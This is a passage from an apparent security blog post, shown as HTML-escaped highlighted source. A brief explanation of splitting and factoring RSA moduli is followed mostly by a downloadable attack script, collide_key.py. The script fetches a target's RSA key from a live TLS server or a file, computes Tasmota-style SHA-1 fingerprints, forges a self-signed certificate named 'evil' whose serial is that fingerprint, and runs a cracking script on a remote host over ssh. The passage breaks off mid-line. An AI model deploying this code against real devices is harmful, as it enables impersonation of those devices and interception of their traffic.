class="pgcsss1"&gt;&amp;#39;cofactor&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">169</td><td> <code> &lt;span class="pgcssn"&gt;result&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;{&lt;/span&gt;</code> </td></tr><tr><td class="linenos">170</td><td> <code> &lt;span class="pgcsss2"&gt;&amp;quot;input&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;],&lt;/span&gt;</code> </td></tr><tr><td class="linenos">171</td><td> <code> &lt;span class="pgcsss2"&gt;&amp;quot;solutions&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;sol&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td class="linenos">172</td><td> <code> &lt;span class="pgcsss2"&gt;&amp;quot;incomplete&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;inc&lt;/span&gt;</code> </td></tr><tr><td class="linenos">173</td><td> <code> &lt;span class="pgcssp"&gt;}&lt;/span&gt;</code> </td></tr><tr><td class="linenos">174</td><td> </td></tr><tr><td class="linenos">175</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;json&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;dumps&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;result&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>The plan of attack, then will be to start with the smallest <span class="formula"><i>n</i></span> value that can be split out of the original key, and work up to the largest. For each potential <span class="formula"><i>n</i></span> value, spend a short time trying to factor it. If it can be factored, great, the attack is done. If not, save the progress and move on. If a usable full factorization isn&rsquo;t found for any of the candidate <span class="formula"><i>n</i></span> values, then try again, spending progressively more time until successful. There&rsquo;s no guarantee this process will work on any given key, but the odds are quite good.</p> <div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fplugin-secure_%2Fattach%2Fcollide_key.py" id="collide-key-py">collide_key.py</a></caption><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;sys&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;ssl&lt;/span&gt;</code> </td></tr><tr><td class="linenos">3</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;json&lt;/span&gt;</code> </td></tr><tr><td class="linenos">4</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;base64&lt;/span&gt;</code> </td></tr><tr><td class="linenos">5</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;subprocess&lt;/span&gt;</code> </td></tr><tr><td class="linenos">6</td><td> </td></tr><tr><td class="linenos">7</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;hashlib&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;sha1&lt;/span&gt;</code> </td></tr><tr><td class="linenos">8</td><td> </td></tr><tr><td class="linenos">9</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;binascii&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;hexlify&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;unhexlify&lt;/span&gt;</code> </td></tr><tr><td class="linenos">10</td><td> </td></tr><tr><td class="linenos">11</td><td> <code>&lt;span class="pgcssc1"&gt;# need recent pycryptodome&lt;/span&gt;</code> </td></tr><tr><td class="linenos">12</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;Crypto.PublicKey&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA&lt;/span&gt;</code> </td></tr><tr><td class="linenos">13</td><td> </td></tr><tr><td class="linenos">14</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;mprsa&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;RSAPrivateKey&lt;/span&gt;</code> </td></tr><tr><td class="linenos">15</td><td> </td></tr><tr><td class="linenos">16</td><td> <code>&lt;span class="pgcssn"&gt;CRACK_ARGS&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;ssh&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;192.168.1.42&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;~/crack_split_rsa.py&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">17</td><td> </td></tr><tr><td class="linenos">18</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">19</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;((&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;bit_length&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssmi"&gt;7&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;//&lt;/span&gt; &lt;span class="pgcssmi"&gt;8&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;big&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">20</td><td> </td></tr><tr><td class="linenos">21</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;fingerprint&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">22</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;sha1&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;ssh-rsa&amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;hexdigest&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">23</td><td> </td></tr><tr><td class="linenos">24</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;fmt_fingerprint&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">25</td><td> <code> &lt;span class="pgcssn"&gt;h&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;fingerprint&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;raw&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;upper&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">26</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;join&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;h&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;h&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">27</td><td> </td></tr><tr><td class="linenos">28</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;tasmota_fingerprint&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">29</td><td> <code> &lt;span class="pgcssn"&gt;sha&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;sha1&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsssa"&gt;b&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;ssh-rsa&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">30</td><td> <code> &lt;span class="pgcssn"&gt;sha&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;update&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;publicExponent&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;])))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">31</td><td> <code> &lt;span class="pgcssn"&gt;sha&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;update&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;to_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;modulus&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;])))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">32</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;sha&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;hexdigest&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">33</td><td> </td></tr><tr><td class="linenos">34</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;self_sign&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;cn&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;evil&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">35</td><td> <code> &lt;span class="pgcssn"&gt;k&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;crypto&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;load_privatekey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;crypto&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;FILETYPE_ASN1&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;der&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">36</td><td> <code> &lt;span class="pgcssn"&gt;cert&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;crypto&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;X509&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">37</td><td> <code> &lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;get_subject&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;CN&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;cn&lt;/span&gt;</code> </td></tr><tr><td class="linenos">38</td><td> <code> &lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;set_serial_number&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;tasmota_fingerprint&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssmi"&gt;16&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">39</td><td> <code> &lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;gmtime_adj_notBefore&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;86400&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">40</td><td> <code> &lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;gmtime_adj_notAfter&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;86400&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt; &lt;span class="pgcssmi"&gt;365&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">41</td><td> <code> &lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;set_issuer&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;get_subject&lt;/span&gt;&lt;span class="pgcssp"&gt;())&lt;/span&gt;</code> </td></tr><tr><td class="linenos">42</td><td> <code> &lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;set_pubkey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;k&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">43</td><td> <code> &lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;sign&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;k&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">44</td><td> </td></tr><tr><td class="linenos">45</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;crypto&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;dump_certificate&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;crypto&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;FILETYPE_PEM&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;cert&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;decode&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">46</td><td> </td></tr><tr><td class="linenos">47</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;keypair&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;cn&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;evil&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">48</td><td> <code> &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;</code> </td></tr><tr><td class="linenos">49</td><td> <code> &lt;span class="pgcssk"&gt;while&lt;/span&gt; &lt;span class="pgcsskc"&gt;True&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">50</td><td> <code> &lt;span class="pgcssk"&gt;try&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">51</td><td> <code> &lt;span class="pgcssn"&gt;keypair&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;pem&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa_sign&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;cn&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">52</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">53</td><td> <code> &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;stdout&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;write&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;WARNING: had to retry cert signature&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">54</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;keypair&lt;/span&gt;</code> </td></tr><tr><td class="linenos">55</td><td> <code> &lt;span class="pgcssk"&gt;except&lt;/span&gt; &lt;span class="pgcssne"&gt;Exception&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">56</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;lt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;20&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">57</td><td> <code> &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcsso"&gt;+=&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;</code> </td></tr><tr><td class="linenos">58</td><td> <code> &lt;span class="pgcssk"&gt;else&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">59</td><td> <code> &lt;span class="pgcssk"&gt;raise&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt;</code> </td></tr><tr><td class="linenos">60</td><td> </td></tr><tr><td class="linenos">61</td><td> <code>&lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssvm"&gt;__name__&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">62</td><td> <code> &lt;span class="pgcssn"&gt;source&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">63</td><td> </td></tr><tr><td class="linenos">64</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;:&amp;#39;&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;source&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">65</td><td> <code> &lt;span class="pgcssn"&gt;parts&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;source&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;split&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">66</td><td> <code> &lt;span class="pgcssn"&gt;hostname&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;parts&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;0&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">67</td><td> <code> &lt;span class="pgcssn"&gt;port&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;parts&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">68</td><td> <code> &lt;span class="pgcssn"&gt;target&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;importKey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;ssl&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;get_server_certificate&lt;/span&gt;&lt;span class="pgcssp"&gt;((&lt;/span&gt;&lt;span class="pgcssn"&gt;hostname&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;port&lt;/span&gt;&lt;span class="pgcssp"&gt;)))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">69</td><td> <code> &lt;span class="pgcssk"&gt;else&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">70</td><td> <code> &lt;span class="pgcssk"&gt;with&lt;/span&gt; &lt;span class="pgcssnb"&gt;open&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;source&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;pem&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">71</td><td> <code> &lt;span class="pgcssn"&gt;target&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;importKey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;pem&lt;/span&gt;&lt;span 